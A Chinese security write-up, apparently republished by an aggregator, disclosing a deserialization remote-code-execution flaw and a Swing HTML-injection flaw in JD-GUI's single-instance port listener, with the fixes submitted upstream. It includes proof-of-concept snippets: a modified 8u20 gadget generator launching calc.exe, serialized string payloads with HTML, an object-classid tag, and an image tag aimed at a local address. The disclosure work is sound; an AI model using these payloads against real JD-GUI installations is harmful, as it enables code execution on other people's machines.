4ra1n 10月24日 00:46
JD-GUI 安全问题分析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文分析了 JD-GUI 在开启单例配置时存在的安全问题,包括反序列化漏洞和 XSS 漏洞。作者发现 JD-GUI 会监听端口并反序列化任意数据,存在远程代码执行风险。此外,通过构造特殊的字符串数组,可以触发 Swing 组件的解析,实现 XSS 攻击。作者已向 JD-GUI 社区提交了修复代码的 Pull Request。

🔍 JD-GUI 在开启单例配置时,会监听端口并反序列化任意数据,存在远程代码执行风险。

📦 反序列化漏洞利用 JD-GUI 的 InterProcessCommunicationUtil 类,通过 Socket 发送 Payload 实现远程代码执行。

💥 XSS 漏洞利用 Swing 组件的 HTML 渲染功能,通过构造特殊的字符串数组,触发恶意代码执行。

🛡️ 作者已向 JD-GUI 社区提交了修复反序列化漏洞和 XSS 漏洞的 Pull Request。

🔧 修复方法包括设置反序列化白名单,以及在 Swing 中过滤 HTML 标签。

4ra1n 2023-02-10 00:06 浙江

上周和Y4tacker师傅交流学习,偶然间发现 JD-GUI 在开启某项配置的情况下,会监听端口并反序列化任

上周和Y4tacker师傅交流学习,偶然间发现 JD-GUI 在开启某项配置的情况下,会监听端口并反序列化任意的数据,深入研究后发现了一些其他的安全问题,最终我和 Y4tacker 师傅提了两个 issue 并提交了修复代码的 Pull Request 不过 JD-GUI 社区不活跃,很久无回复

入口

在 JD-GUI 的入口类 App 中可以发现以下代码

    // 如果开启了某个特殊参数(单例)if ("true".equals(configuration.getPreferences().get(SINGLE_INSTANCE))) {    InterProcessCommunicationUtil ipc = new InterProcessCommunicationUtil();    try {        // 监听端口        ipc.listen(receivedArgs -> controller.openFiles(newList(receivedArgs)));    } catch (Exception notTheFirstInstanceException) {        // 如果无法监听则发送参数        ipc.send(args);        System.exit(0);    }}

    如果开启了这个参数,那么你的系统中只会跑一个 JD-GUI (单例)在 Windows 中配置文件 jd-gui.cfg 默认在 C:\\Users\\User\\AppData\\Roaming\\jd-gui.cfg 中。我们需要加入的属性是 UIMainWindowPreferencesProvider.singleInstance

      <preferences>    <JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>    <JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>    <UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance></preferences>

      配置好参数,正常启动第一个 JD-GUI 程序。当你启动第二个 JD-GUI 的时候, JD-GUI 尝试监听端口被占用报错,会将当前的启动参数发送到第一个 JD-GUI 中被反序列化,并以文件的方式打开。如下图中,我已经打开了一个 JD-GUI 然后在 IDEA 中设置启动参数为 arthas-core.jar 测试文件,发现第一个 JD-GUI 会直接打开该文件

      8u20 RCE

      当我看到反序列化的时候,立刻想到的是 8u20 反序列化

      先到国外佬的 Github 下一份 8u20 的生成代码:https://github.com/pwntester/JRE8u20_RCE_Gadget

      修改 ExploitGenerator#main 方法代码,弹一个计算器即可

        String command = "calc.exe";

        进入 InterProcessCommunicationUtil 可以发现监听的端口是 20156 

          protected static final int PORT = 2015_6;
          public static void listen(final Consumer<String[]> consumer) throws Exception { final ServerSocket listener = new ServerSocket(PORT);
          Runnable runnable = new Runnable() { @Override public void run() { while (true) { try (Socket socket = listener.accept(); ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) { // Receive args from another JD-GUI instance String[] args = (String[])ois.readObject(); consumer.accept(args); } catch (IOException|ClassNotFoundException e) { assert ExceptionUtil.printStackTrace(e); } } } };
          new Thread(runnable).start();}

          运行后生成一个 exploit.ser 文件,通过 Socket 将数据发到 JD-GUI 实现 RCE 攻击

          8u20 RCE Fix

          对于这个问题的修复很简单,设置反序列化白名单我已将代码提交到 JD-GUI 官方:https://github.com/java-decompiler/jd-gui/pull/417

          自定义 ObjectInputStream 并重写 resolveClass 只允许字符串数组( [Ljava.lang.String; )

            static class FilterObjectInputStream extends ObjectInputStream {
            public FilterObjectInputStream(InputStream in) throws IOException { super(in); }
            @Override protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException { if (classDesc.getName().equals("[Ljava.lang.String;")) { return super.resolveClass(classDesc); } throw new RuntimeException(String.format("not support class: %s",classDesc.getName())); }}

            使用安全的 FilterObjectInputStream 进行反序列化

              ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream()));// Receive args from another JD-GUI instanceString[] args = (String[])ois.readObject();consumer.accept(args);

              发送 Payload 后报错,成功修复

              XSS

              当修复反序列化漏洞后,是否还有进一步的利用空间

              反序列化收到的字符串数组后,首先构造一个文件集合

                protected static List<File> newList(String[] paths) {    if (paths == null) {        return Collections.emptyList();    } else {        ArrayList<File> files = new ArrayList<>(paths.length);        for (String path : paths) {            files.add(new File(path));        }        return files;    }}

                当文件不存在时,文件绝对路径会加入一个错误集合中

                  ArrayList<String> errors = new ArrayList<>();for (File file : files) {    // Check input file    if (file.exists()) {        FileLoader loader = getFileLoader(file);        if ((loader != null) && !loader.accept(this, file)) {            errors.add("Invalid input fileloader: '" + file.getAbsolutePath() + "'");        }    } else {        errors.add("File not found: '" + file.getAbsolutePath() + "'");    }}

                  在下文中,这个错误集合会被拼接字符串,通过 JOptionPane 显示

                    for (String error : errors) {    if (index > 0) {        messages.append('\n');    }    if (index >= 20) {        messages.append("...");        break;    }    messages.append(error);    index++;}
                    JOptionPane.showMessageDialog(mainView.getMainFrame(), messages.toString(), "Error", JOptionPane.ERROR_MESSAGE);

                    在Java Swing 中,绝大多数的组件都支持 HTML 渲染。简单尝试直接使用 HTML 标签发送

                      FileOutputStream fos = new FileOutputStream("exploit.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(new String[]{"<html>Y4TACKER</html>"});fos.write(bytes);fos.close();

                      发现直接的 HTML 标签不会渲染

                      经过我们多次的测试,发现开头加入多个换行会解析 HTML 

                      使用以下的 Payload 测试

                        FileOutputStream fos = new FileOutputStream("exploit.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><body><h1 color='red'>4ra1n and Y4tacker</h1><body></html>"});fos.write(bytes);fos.close();

                        结果如下,发现没有完全解析

                        经过进一步的分析,我发现了这里的原因:


                        在 Mac OS 中不会把 / 替换,所以 Y4tacker 师傅的报告中正常解析

                        这个问题会导致在 Windows 中不可能实现 SSRF 效果(不确定 Linux 中的处理逻辑)

                          oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><img src=\"http://127.0.0.1:1234/test\"></html>"});

                          调试分析真正的字符串如下,无论多少个 / 或 \ 在 file.getAbsolutePath 后都会变成一个

                          进一步探索

                          既然无法 SSRF 那么我想到了曾经的 Swing RCE

                            <html><object classid="?"><param name="?" value="?">

                            这种方式的不需要标签的闭合即可生效,简单地尝试

                              oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"?\"><param name=\"?\" value=\"?\">"});

                              如图,出现两个红色问号说明已经成功了

                              接下来是寻找 JD-GUI 是否存在符合的 gadget

                              - 必须有一个 set 方法

                              - set 方法必须只有一个参数

                              - 这一个参数必须是 string 类型

                              - 该类必须是 Component 子类(包括间接子类)

                              使用我的工具 jar-analyzer 加入 JD-GUI 和 rt.jar 开始分析

                              (实际上我写的规则不够完善存在一些误报)

                              搜索到了一大堆结果,但逐个分析后都没有什么活

                              随便使用 JLabel 测试 javax.swing.JLabel 

                                oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"hello world!\">"});fos.write(bytes);fos.close();

                                发送过去如图,产生了变化,说明思路正确,只差 gadget

                                最后,哪怕 JD-GUI 里存在 gadget 大概率也需要其中的 value 是一个远程地址,由于上文提到的限制很可能无法成功利用。不过,无论如何都应该尝试找一下

                                XSS Fix

                                这个问题的修复就很简单了,在 Swing 里注入 html 没有什么花活,只判断 <html> 即可

                                于是在上文 FilterObjectInputStream 保护反序列化的基础上再过滤一层

                                https://github.com/java-decompiler/jd-gui/pull/418

                                  ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream());String[] args = (String[]) ois.readObject();
                                  for (String arg : args) { if (arg.toLowerCase().contains("<html>")) { throw new RuntimeException(String.format("evil arg: %s", arg)); }}
                                  consumer.accept(args);


                                  阅读原文

                                  跳转微信打开

                                  Fish AI Reader

                                  Fish AI Reader

                                  AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

                                  FishAI

                                  FishAI

                                  鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

                                  联系邮箱 441953276@qq.com

                                  相关标签

                                  JD-GUI 安全漏洞 反序列化 XSS 远程代码执行
                                  相关文章